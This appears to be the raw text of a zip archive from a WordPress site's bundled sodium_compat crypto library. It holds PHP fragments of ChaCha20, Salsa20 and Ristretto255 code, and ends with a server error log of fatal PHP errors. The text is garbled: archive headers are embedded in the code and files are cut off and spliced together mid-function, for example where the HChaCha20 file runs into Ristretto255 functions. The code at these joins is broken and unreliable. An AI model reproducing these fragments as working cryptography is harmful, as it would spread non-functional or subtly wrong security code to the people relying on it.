x4); STORE32_LE(c + 20, x5); STORE32_LE(c + 24, x6); STORE32_LE(c + 28, x7); STORE32_LE(c + 32, x8); STORE32_LE(c + 36, x9); STORE32_LE(c + 40, x10); STORE32_LE(c + 44, x11); STORE32_LE(c + 48, x12); STORE32_LE(c + 52, x13); STORE32_LE(c + 56, x14); STORE32_LE(c + 60, x15); */ $block = self::store32_le((int) ($x0 & 0xffffffff)) . self::store32_le((int) ($x1 & 0xffffffff)) . self::store32_le((int) ($x2 & 0xffffffff)) . self::store32_le((int) ($x3 & 0xffffffff)) . self::store32_le((int) ($x4 & 0xffffffff)) . self::store32_le((int) ($x5 & 0xffffffff)) . self::store32_le((int) ($x6 & 0xffffffff)) . self::store32_le((int) ($x7 & 0xffffffff)) . self::store32_le((int) ($x8 & 0xffffffff)) . self::store32_le((int) ($x9 & 0xffffffff)) . self::store32_le((int) ($x10 & 0xffffffff)) . self::store32_le((int) ($x11 & 0xffffffff)) . self::store32_le((int) ($x12 & 0xffffffff)) . self::store32_le((int) ($x13 & 0xffffffff)) . self::store32_le((int) ($x14 & 0xffffffff)) . self::store32_le((int) ($x15 & 0xffffffff)); /* Partial block */ if ($bytes < 64) { $c .= self::substr($block, 0, $bytes); break; } /* Full block */ $c .= $block; $bytes -= 64; if ($bytes <= 0) { break; } $message = self::substr($message, 64); } /* end for(;;) loop */ $ctx[12] = $j12; $ctx[13] = $j13; return $c; } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len, $nonce, $key) { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len, $nonce, $key) { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce, $key, $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce, $key, $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic), $message ); } } PK!0) ) src/Core/Salsa20.phpnu[ 0; $i -= 2) { $x4 ^= self::rotate($x0 + $x12, 7); $x8 ^= self::rotate($x4 + $x0, 9); $x12 ^= self::rotate($x8 + $x4, 13); $x0 ^= self::rotate($x12 + $x8, 18); $x9 ^= self::rotate($x5 + $x1, 7); $x13 ^= self::rotate($x9 + $x5, 9); $x1 ^= self::rotate($x13 + $x9, 13); $x5 ^= self::rotate($x1 + $x13, 18); $x14 ^= self::rotate($x10 + $x6, 7); $x2 ^= self::rotate($x14 + $x10, 9); $x6 ^= self::rotate($x2 + $x14, 13); $x10 ^= self::rotate($x6 + $x2, 18); $x3 ^= self::rotate($x15 + $x11, 7); $x7 ^= self::rotate($x3 + $x15, 9); $x11 ^= self::rotate($x7 + $x3, 13); $x15 ^= self::rotate($x11 + $x7, 18); $x1 ^= self::rotate($x0 + $x3, 7); $x2 ^= self::rotate($x1 + $x0, 9); $x3 ^= self::rotate($x2 + $x1, 13); $x0 ^= self::rotate($x3 + $x2, 18); $x6 ^= self::rotate($x5 + $x4, 7); $x7 ^= self::rotate($x6 + $x5, 9); $x4 ^= self::rotate($x7 + $x6, 13); $x5 ^= self::rotate($x4 + $x7, 18); $x11 ^= self::rotate($x10 + $x9, 7); $x8 ^= self::rotate($x11 + $x10, 9); $x9 ^= self::rotate($x8 + $x11, 13); $x10 ^= self::rotate($x9 + $x8, 18); $x12 ^= self::rotate($x15 + $x14, 7); $x13 ^= self::rotate($x12 + $x15, 9); $x14 ^= self::rotate($x13 + $x12, 13); $x15 ^= self::rotate($x14 + $x13, 18); } $x0 += $j0; $x1 += $j1; $x2 += $j2; $x3 += $j3; $x4 += $j4; $x5 += $j5; $x6 += $j6; $x7 += $j7; $x8 += $j8; $x9 += $j9; $x10 += $j10; $x11 += $j11; $x12 += $j12; $x13 += $j13; $x14 += $j14; $x15 += $j15; return self::store32_le($x0) . self::store32_le($x1) . self::store32_le($x2) . self::store32_le($x3) . self::store32_le($x4) . self::store32_le($x5) . self::store32_le($x6) . self::store32_le($x7) . self::store32_le($x8) . self::store32_le($x9) . self::store32_le($x10) . self::store32_le($x11) . self::store32_le($x12) . self::store32_le($x13) . self::store32_le($x14) . self::store32_le($x15); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20($len, $nonce, $key) { if (self::strlen($key) !== 32) { throw new RangeException('Key must be 32 bytes long'); } $kcopy = '' . $key; $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8); $c = ''; while ($len >= 64) { $c .= self::core_salsa20($in, $kcopy, null); $u = 1; // Internal counter. for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $len -= 64; } if ($len > 0) { $c .= self::substr( self::core_salsa20($in, $kcopy, null), 0, $len ); } try { ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $m * @param string $n * @param int $ic * @param string $k * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor_ic($m, $n, $ic, $k) { $mlen = self::strlen($m); if ($mlen < 1) { return ''; } $kcopy = self::substr($k, 0, 32); $in = self::substr($n, 0, 8); // Initialize the counter $in .= ParagonIE_Sodium_Core_Util::store64_le($ic); $c = ''; while ($mlen >= 64) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, 64), self::substr($block, 0, 64) ); $u = 1; for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $mlen -= 64; $m = self::substr($m, 64); } if ($mlen) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, $mlen), self::substr($block, 0, $mlen) ); } try { ParagonIE_Sodium_Compat::memzero($block); ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $block = null; $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor($message, $nonce, $key) { return self::xorStrings( $message, self::salsa20( self::strlen($message), $nonce, $key ) ); } /** * @internal You should not use this directly from another application * * @param int $u * @param int $c * @return int */ public static function rotate($u, $c) { $u &= 0xffffffff; $c %= 32; return (int) (0xffffffff & ( ($u << $c) | ($u >> (32 - $c)) ) ); } } PK!,,,src/Core/HChaCha20.phpnu[> 31) & 1; } /** * @param ParagonIE_Sodium_Core_Curve25519_Fe $u * @param ParagonIE_Sodium_Core_Curve25519_Fe $v * @return array{x: ParagonIE_Sodium_Core_Curve25519_Fe, nonsquare: int} * * @throws SodiumException */ public static function ristretto255_sqrt_ratio_m1( ParagonIE_Sodium_Core_Curve25519_Fe $u, ParagonIE_Sodium_Core_Curve25519_Fe $v ) { $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1); $v3 = self::fe_mul( self::fe_sq($v), $v ); /* v3 = v^3 */ $x = self::fe_mul( self::fe_mul( self::fe_sq($v3), $u ), $v ); /* x = uv^7 */ $x = self::fe_mul( self::fe_mul( self::fe_pow22523($x), /* x = (uv^7)^((q-5)/8) */ $v3 ), $u ); /* x = uv^3(uv^7)^((q-5)/8) */ $vxx = self::fe_mul( self::fe_sq($x), $v ); /* vx^2 */ $m_root_check = self::fe_sub($vxx, $u); /* vx^2-u */ $p_root_check = self::fe_add($vxx, $u); /* vx^2+u */ $f_root_check = self::fe_mul($u, $sqrtm1); /* u*sqrt(-1) */ $f_root_check = self::fe_add($vxx, $f_root_check); /* vx^2+u*sqrt(-1) */ $has_m_root = self::fe_iszero($m_root_check); $has_p_root = self::fe_iszero($p_root_check); $has_f_root = self::fe_iszero($f_root_check); $x_sqrtm1 = self::fe_mul($x, $sqrtm1); /* x*sqrt(-1) */ $x = self::fe_abs( self::fe_cmov($x, $x_sqrtm1, $has_p_root | $has_f_root) ); return array( 'x' => $x, 'nonsquare' => $has_m_root | $has_p_root ); } /** * @param string $s * @return int * @throws SodiumException */ public static function ristretto255_point_is_canonical($s) { $c = (self::chrToInt($s[31]) & 0x7f) ^ 0x7f; for ($i = 30; $i > 0; --$i) { $c |= self::chrToInt($s[$i]) ^ 0xff; } $c = ($c - 1) >> 8; $d = (0xed - 1 - self::chrToInt($s[0])) >> 8; $e = self::chrToInt($s[31]) >> 7; return 1 - ((($c & $d) | $e | self::chrToInt($s[0])) & 1); } /** * @param string $s * @param bool $skipCanonicalCheck * @return array{h: ParagonIE_Sodium_Core_Curve25519_Ge_P3, res: int} * @throws SodiumException */ public static function ristretto255_frombytes($s, $skipCanonicalCheck = false) { if (!$skipCanonicalCheck) { if (!self::ristretto255_point_is_canonical($s)) { throw new SodiumException('S is not canonical'); } } $s_ = self::fe_frombytes($s); $ss = self::fe_sq($s_); /* ss = s^2 */ $u1 = self::fe_sub(self::fe_1(), $ss); /* u1 = 1-ss */ $u1u1 = self::fe_sq($u1); /* u1u1 = u1^2 */ $u2 = self::fe_add(self::fe_1(), $ss); /* u2 = 1+ss */ $u2u2 = self::fe_sq($u2); /* u2u2 = u2^2 */ $v = self::fe_mul( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d), $u1u1 ); /* v = d*u1^2 */ $v = self::fe_neg($v); /* v = -d*u1^2 */ $v = self::fe_sub($v, $u2u2); /* v = -(d*u1^2)-u2^2 */ $v_u2u2 = self::fe_mul($v, $u2u2); /* v_u2u2 = v*u2^2 */ // fe25519_1(one); // notsquare = ristretto255_sqrt_ratio_m1(inv_sqrt, one, v_u2u2); $one = self::fe_1(); $result = self::ristretto255_sqrt_ratio_m1($one, $v_u2u2); $inv_sqrt = $result['x']; $notsquare = $result['nonsquare']; $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(); $h->X = self::fe_mul($inv_sqrt, $u2); $h->Y = self::fe_mul(self::fe_mul($inv_sqrt, $h->X), $v); $h->X = self::fe_mul($h->X, $s_); $h->X = self::fe_abs( self::fe_add($h->X, $h->X) ); $h->Y = self::fe_mul($u1, $h->Y); $h->Z = self::fe_1(); $h->T = self::fe_mul($h->X, $h->Y); $res = - ((1 - $notsquare) | self::fe_isnegative($h->T) | self::fe_iszero($h->Y)); return array('h' => $h, 'res' => $res); } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h * @return string * @throws SodiumException */ public static function ristretto255_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h) { $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1); $invsqrtamd = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$invsqrtamd); $u1 = self::fe_add($h->Z, $h->Y); /* u1 = Z+Y */ $zmy = self::fe_sub($h->Z, $h->Y); /* zmy = Z-Y */ $u1 = self::fe_mul($u1, $zmy); /* u1 = (Z+Y)*(Z-Y) */ $u2 = self::fe_mul($h->X, $h->Y); /* u2 = X*Y */ $u1_u2u2 = self::fe_mul(self::fe_sq($u2), $u1); /* u1_u2u2 = u1*u2^2 */ $one = self::fe_1(); // fe25519_1(one); // (void) ristretto255_sqrt_ratio_m1(inv_sqrt, one, u1_u2u2); $result = self::ristretto255_sqrt_ratio_m1($one, $u1_u2u2); $inv_sqrt = $result['x']; $den1 = self::fe_mul($inv_sqrt, $u1); /* den1 = inv_sqrt*u1 */ $den2 = self::fe_mul($inv_sqrt, $u2); /* den2 = inv_sqrt*u2 */ $z_inv = self::fe_mul($h->T, self::fe_mul($den1, $den2)); /* z_inv = den1*den2*T */ $ix = self::fe_mul($h->X, $sqrtm1); /* ix = X*sqrt(-1) */ $iy = self::fe_mul($h->Y, $sqrtm1); /* iy = Y*sqrt(-1) */ $eden = self::fe_mul($den1, $invsqrtamd); $t_z_inv = self::fe_mul($h->T, $z_inv); /* t_z_inv = T*z_inv */ $rotate = self::fe_isnegative($t_z_inv); $x_ = self::fe_copy($h->X); $y_ = self::fe_copy($h->Y); $den_inv = self::fe_copy($den2); $x_ = self::fe_cmov($x_, $iy, $rotate); $y_ = self::fe_cmov($y_, $ix, $rotate); $den_inv = self::fe_cmov($den_inv, $eden, $rotate); $x_z_inv = self::fe_mul($x_, $z_inv); $y_ = self::fe_cneg($y_, self::fe_isnegative($x_z_inv)); // fe25519_sub(s_, h->Z, y_); // fe25519_mul(s_, den_inv, s_); // fe25519_abs(s_, s_); // fe25519_tobytes(s, s_); return self::fe_tobytes( self::fe_abs( self::fe_mul( $den_inv, self::fe_sub($h->Z, $y_) ) ) ); } /** * @param ParagonIE_Sodium_Core_Curve25519_Fe $t * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * * @throws SodiumException */ public static function ristretto255_elligator(ParagonIE_Sodium_Core_Curve25519_Fe $t) { $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1); $onemsqd = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$onemsqd); $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d); $sqdmone = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqdmone); $sqrtadm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtadm1); $one = self::fe_1(); $r = self::fe_mul($sqrtm1, self::fe_sq($t)); /* r = sqrt(-1)*t^2 */ $u = self::fe_mul(self::fe_add($r, $one), $onemsqd); /* u = (r+1)*(1-d^2) */ $c = self::fe_neg(self::fe_1()); /* c = -1 */ $rpd = self::fe_add($r, $d); /* rpd = r+d */ $v = self::fe_mul( self::fe_sub( $c, self::fe_mul($r, $d) ), $rpd ); /* v = (c-r*d)*(r+d) */ $result = self::ristretto255_sqrt_ratio_m1($u, $v); $s = $result['x']; $wasnt_square = 1 - $result['nonsquare']; $s_prime = self::fe_neg( self::fe_abs( self::fe_mul($s, $t) ) ); /* s_prime = -|s*t| */ $s = self::fe_cmov($s, $s_prime, $wasnt_square); $c = self::fe_cmov($c, $r, $wasnt_square); // fe25519_sub(n, r, one); /* n = r-1 */ // fe25519_mul(n, n, c); /* n = c*(r-1) */ // fe25519_mul(n, n, ed25519_sqdmone); /* n = c*(r-1)*(d-1)^2 */ // fe25519_sub(n, n, v); /* n = c*(r-1)*(d-1)^2-v */ $n = self::fe_sub( self::fe_mul( self::fe_mul( self::fe_sub($r, $one), $c ), $sqdmone ), $v ); /* n = c*(r-1)*(d-1)^2-v */ $w0 = self::fe_mul( self::fe_add($s, $s), $v ); /* w0 = 2s*v */ $w1 = self::fe_mul($n, $sqrtadm1); /* w1 = n*sqrt(ad-1) */ $ss = self::fe_sq($s); /* ss = s^2 */ $w2 = self::fe_sub($one, $ss); /* w2 = 1-s^2 */ $w3 = self::fe_add($one, $ss); /* w3 = 1+s^2 */ return new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_mul($w0, $w3), self::fe_mul($w2, $w1), self::fe_mul($w1, $w3), self::fe_mul($w0, $w2) ); } /** * @param string $h * @return string * @throws SodiumException */ public static function ristretto255_from_hash($h) { if (self::strlen($h) !== 64) { throw new SodiumException('Hash must be 64 bytes'); } //fe25519_frombytes(r0, h); //fe25519_frombytes(r1, h + 32); $r0 = self::fe_frombytes(self::substr($h, 0, 32)); $r1 = self::fe_frombytes(self::substr($h, 32, 32)); //ristretto255_elligator(&p0, r0); //ristretto255_elligator(&p1, r1); $p0 = self::ristretto255_elligator($r0); $p1 = self::ristretto255_elligator($r1); //ge25519_p3_to_cached(&p1_cached, &p1); //ge25519_add_cached(&p_p1p1, &p0, &p1_cached); $p_p1p1 = self::ge_add( $p0, self::ge_p3_to_cached($p1) ); //ge25519_p1p1_to_p3(&p, &p_p1p1); //ristretto255_p3_tobytes(s, &p); return self::ristretto255_p3_tobytes( self::ge_p1p1_to_p3($p_p1p1) ); } /** * @param string $p * @return int * @throws SodiumException */ public static function is_valid_point($p) { $result = self::ristretto255_frombytes($p); if ($result['res'] !== 0) { return 0; } return 1; } /** * @param string $p * @param string $q * @return string * @throws SodiumException */ public static function ristretto255_add($p, $q) { $p_res = self::ristretto255_frombytes($p); $q_res = self::ristretto255_frombytes($q); if ($p_res['res'] !== 0 || $q_res['res'] !== 0) { throw new SodiumException('Could not add points'); } $p_p3 = $p_res['h']; $q_p3 = $q_res['h']; $q_cached = self::ge_p3_to_cached($q_p3); $r_p1p1 = self::ge_add($p_p3, $q_cached); $r_p3 = self::ge_p1p1_to_p3($r_p1p1); return self::ristretto255_p3_tobytes($r_p3); } /** * @param string $p * @param string $q * @return string * @throws SodiumException */ public static function ristretto255_sub($p, $q) { $p_res = self::ristretto255_frombytes($p); $q_res = self::ristretto255_frombytes($q); if ($p_res['res'] !== 0 || $q_res['res'] !== 0) { throw new SodiumException('Could not add points'); } $p_p3 = $p_res['h']; $q_p3 = $q_res['h']; $q_cached = self::ge_p3_to_cached($q_p3); $r_p1p1 = self::ge_sub($p_p3, $q_cached); $r_p3 = self::ge_p1p1_to_p3($r_p1p1); return self::ristretto255_p3_tobytes($r_p3); } /** * @param int $hLen * @param ?string $ctx * @param string $msg * @return string * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument hash API */ protected static function h2c_string_to_hash_sha256($hLen, $ctx, $msg) { $h = array_fill(0, $hLen, 0); $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0; if ($hLen > 0xff) { throw new SodiumException('Hash must be less than 256 bytes'); } if ($ctx_len > 0xff) { $st = hash_init('sha256'); self::hash_update($st, "H2C-OVERSIZE-DST-"); self::hash_update($st, $ctx); $ctx = hash_final($st, true); $ctx_len = 32; } $t = array(0, $hLen, 0); $ux = str_repeat("\0", 64); $st = hash_init('sha256'); self::hash_update($st, $ux); self::hash_update($st, $msg); self::hash_update($st, self::intArrayToString($t)); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $u0 = hash_final($st, true); for ($i = 0; $i < $hLen; $i += 64) { $ux = self::xorStrings($ux, $u0); ++$t[2]; $st = hash_init('sha256'); self::hash_update($st, $ux); self::hash_update($st, self::intToChr($t[2])); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $ux = hash_final($st, true); $amount = min($hLen - $i, 64); for ($j = 0; $j < $amount; ++$j) { $h[$i + $j] = self::chrToInt($ux[$i]); } } return self::intArrayToString(array_slice($h, 0, $hLen)); } /** * @param int $hLen * @param ?string $ctx * @param string $msg * @return string * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument hash API */ protected static function h2c_string_to_hash_sha512($hLen, $ctx, $msg) { $h = array_fill(0, $hLen, 0); $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0; if ($hLen > 0xff) { throw new SodiumException('Hash must be less than 256 bytes'); } if ($ctx_len > 0xff) { $st = hash_init('sha256'); self::hash_update($st, "H2C-OVERSIZE-DST-"); self::hash_update($st, $ctx); $ctx = hash_final($st, true); $ctx_len = 32; } $t = array(0, $hLen, 0); $ux = str_repeat("\0", 128); $st = hash_init('sha512'); self::hash_update($st, $ux); self::hash_update($st, $msg); self::hash_update($st, self::intArrayToString($t)); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $u0 = hash_final($st, true); for ($i = 0; $i < $hLen; $i += 128) { $ux = self::xorStrings($ux, $u0); ++$t[2]; $st = hash_init('sha512'); self::hash_update($st, $ux); self::hash_update($st, self::intToChr($t[2])); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $ux = hash_final($st, true); $amount = min($hLen - $i, 128); for ($j = 0; $j < $amount; ++$j) { $h[$i + $j] = self::chrToInt($ux[$i]); } } return self::intArrayToString(array_slice($h, 0, $hLen)); } /** * @param int $hLen * @param ?string $ctx * @param string $msg * @param int $hash_alg * @return string * @throws SodiumException */ public static function h2c_string_to_hash($hLen, $ctx, $msg, $hash_alg) { switch ($hash_alg) { case self::CORE_H2C_SHA256: return self::h2c_string_to_hash_sha256($hLen, $ctx, $msg); case self::CORE_H2C_SHA512: return self::h2c_string_to_hash_sha512($hLen, $ctx, $msg); default: throw new SodiumException('Invalid H2C hash algorithm'); } } /** * @param ?string $ctx * @param string $msg * @param int $hash_alg * @return string * @throws SodiumException */ protected static function _string_to_element($ctx, $msg, $hash_alg) { return self::ristretto255_from_hash( self::h2c_string_to_hash(self::crypto_core_ristretto255_HASHBYTES, $ctx, $msg, $hash_alg) ); } /** * @return string * @throws SodiumException * @throws Exception */ public static function ristretto255_random() { return self::ristretto255_from_hash( ParagonIE_Sodium_Compat::randombytes_buf(self::crypto_core_ristretto255_HASHBYTES) ); } /** * @return string * @throws SodiumException */ public static function ristretto255_scalar_random() { return self::scalar_random(); } /** * @param string $s * @return string * @throws SodiumException */ public static function ristretto255_scalar_complement($s) { return self::scalar_complement($s); } /** * @param string $s * @return string */ public static function ristretto255_scalar_invert($s) { return self::sc25519_invert($s); } /** * @param string $s * @return string * @throws SodiumException */ public static function ristretto255_scalar_negate($s) { return self::scalar_negate($s); } /** * @param string $x * @param string $y * @return string */ public static function ristretto255_scalar_add($x, $y) { return self::scalar_add($x, $y); } /** * @param string $x * @param string $y * @return string */ public static function ristretto255_scalar_sub($x, $y) { return self::scalar_sub($x, $y); } /** * @param string $x * @param string $y * @return string */ public static function ristretto255_scalar_mul($x, $y) { return self::sc25519_mul($x, $y); } /** * @param string $ctx * @param string $msg * @param int $hash_alg * @return string * @throws SodiumException */ public static function ristretto255_scalar_from_string($ctx, $msg, $hash_alg) { $h = array_fill(0, 64, 0); $h_be = self::stringToIntArray( self::h2c_string_to_hash( self::HASH_SC_L, $ctx, $msg, $hash_alg ) ); for ($i = 0; $i < self::HASH_SC_L; ++$i) { $h[$i] = $h_be[self::HASH_SC_L - 1 - $i]; } return self::ristretto255_scalar_reduce(self::intArrayToString($h)); } /** * @param string $s * @return string */ public static function ristretto255_scalar_reduce($s) { return self::sc_reduce($s); } /** * @param string $n * @param string $p * @return string * @throws SodiumException */ public static function scalarmult_ristretto255($n, $p) { if (self::strlen($n) !== 32) { throw new SodiumException('Scalar must be 32 bytes, ' . self::strlen($p) . ' given.'); } if (self::strlen($p) !== 32) { throw new SodiumException('Point must be 32 bytes, ' . self::strlen($p) . ' given.'); } $result = self::ristretto255_frombytes($p); if ($result['res'] !== 0) { throw new SodiumException('Could not multiply points'); } $P = $result['h']; $t = self::stringToIntArray($n); $t[31] &= 0x7f; $Q = self::ge_scalarmult(self::intArrayToString($t), $P); $q = self::ristretto255_p3_tobytes($Q); if (ParagonIE_Sodium_Compat::is_zero($q)) { throw new SodiumException('An unknown error has occurred'); } return $q; } /** * @param string $n * @return string * @throws SodiumException */ public static function scalarmult_ristretto255_base($n) { $t = self::stringToIntArray($n); $t[31] &= 0x7f; $Q = self::ge_scalarmult_base(self::intArrayToString($t)); $q = self::ristretto255_p3_tobytes($Q); if (ParagonIE_Sodium_Compat::is_zero($q)) { throw new SodiumException('An unknown error has occurred'); } return $q; } } PK!q,,src/Core/ChaCha20/IetfCtx.phpnu[initCounter($counter); parent::__construct($key, self::substr($iv, 0, 8), $counter); $this->container[12] = self::load_4(self::substr($counter, 0, 4)); $this->container[13] = self::load_4(self::substr($iv, 0, 4)); $this->container[14] = self::load_4(self::substr($iv, 4, 4)); $this->container[15] = self::load_4(self::substr($iv, 8, 4)); } } PK!y */ protected $container; /** * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor. * * @internal You should not use this directly from another application * * @param string $key ChaCha20 key. * @param string $iv Initialization Vector (a.k.a. nonce). * @param string $counter The initial counter value. * Defaults to 8 0x00 bytes. * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '', $iv = '', $counter = '') { if (self::strlen($key) !== 32) { throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.'); } if (self::strlen($iv) !== 8) { throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.'); } $this->container = new SplFixedArray(16); /* "expand 32-byte k" as per ChaCha20 spec */ $this->container[0] = 0x61707865; $this->container[1] = 0x3320646e; $this->container[2] = 0x79622d32; $this->container[3] = 0x6b206574; $this->container[4] = self::load_4(self::substr($key, 0, 4)); $this->container[5] = self::load_4(self::substr($key, 4, 4)); $this->container[6] = self::load_4(self::substr($key, 8, 4)); $this->container[7] = self::load_4(self::substr($key, 12, 4)); $this->container[8] = self::load_4(self::substr($key, 16, 4)); $this->container[9] = self::load_4(self::substr($key, 20, 4)); $this->container[10] = self::load_4(self::substr($key, 24, 4)); $this->container[11] = self::load_4(self::substr($key, 28, 4)); $counter = $this->initCounter($counter); $this->container[12] = self::load_4(self::substr($counter, 0, 4)); $this->container[13] = self::load_4(self::substr($counter, 4, 4)); $this->container[14] = self::load_4(self::substr($iv, 0, 4)); $this->container[15] = self::load_4(self::substr($iv, 4, 4)); } /** * @internal You should not use this directly from another application * * @param int $offset * @param int $value * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($offset)) { throw new InvalidArgumentException('Expected an integer'); } if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } $this->container[$offset] = $value; } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return mixed|null * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->container[$offset]) ? $this->container[$offset] : null; } /** * Initialize (pad) a counter value. * @throws SodiumException * * @param string $ctr * @return string */ public function initCounter( #[SensitiveParameter] $ctr ) { $len = self::strlen($ctr); if ($len === 0) { return str_repeat("\0", 8); } if ($len < 8) { return $ctr . str_repeat("\0", 8 - $len); } if ($len > 8) { throw new SodiumException("counter cannot be more than 8 bytes"); } return $ctr; } } PK!9F src/Core/ChaCha20/error_lognu[[04-Sep-2026 13:27:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [04-Sep-2026 13:27:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [04-Sep-2026 13:39:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [04-Sep-2026 13:39:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [10-Sep-2026 11:10:42 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [10-Sep-2026 11:10:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [10-Sep-2026 14:40:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [10-Sep-2026 14:40:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in 